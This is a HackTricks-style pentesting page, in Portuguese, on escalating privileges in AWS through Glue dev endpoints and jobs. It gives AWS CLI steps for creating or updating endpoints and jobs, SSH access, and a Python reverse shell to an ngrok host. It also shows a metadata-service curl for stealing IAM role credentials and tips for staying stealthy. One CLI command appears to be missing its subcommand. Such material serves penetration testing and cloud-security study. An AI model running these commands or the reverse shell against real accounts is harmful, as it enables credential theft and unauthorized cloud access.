AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com essas permissões podem configurar um novo endpoint de desenvolvimento AWS Glue, atribuindo um papel de serviço existente que pode ser assumido pelo Glue com permissões específicas a este endpoint.

Após a configuração, o atacante pode SSH na instância do endpoint, e roubar as credenciais IAM do papel atribuído:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Para fins de furtividade, é recomendável usar as credenciais IAM de dentro da máquina virtual Glue.

Impacto Potencial: Privesc para o papel de serviço glue especificado.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com esta permissão podem alterar a chave SSH de um endpoint de desenvolvimento Glue existente, habilitando o acesso SSH a ele. Isso permite que o atacante execute comandos com os privilégios do papel anexado ao endpoint:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impacto Potencial: Privesc para o papel de serviço do Glue utilizado.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Usuários com iam:PassRole combinado com glue:CreateJob ou glue:UpdateJob, e glue:StartJobRun ou glue:CreateTrigger podem criar ou atualizar um trabalho do AWS Glue, anexando qualquer conta de serviço do Glue, e iniciar a execução do trabalho. As capacidades do trabalho incluem a execução de código Python arbitrário, que pode ser explorado para estabelecer um shell reverso. Este shell reverso pode então ser utilizado para exfiltrar as credenciais IAM do papel anexado ao trabalho do Glue, levando a um potencial acesso ou ações não autorizadas com base nas permissões desse papel:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impacto Potencial: Privesc para o papel de serviço do glue especificado.

glue:UpdateJob

Apenas com a permissão de atualização, um atacante poderia roubar as Credenciais IAM do papel já anexado.

Impacto Potencial: Privesc para o papel de serviço do glue anexado.

Referências

Support HackTricks

Last updated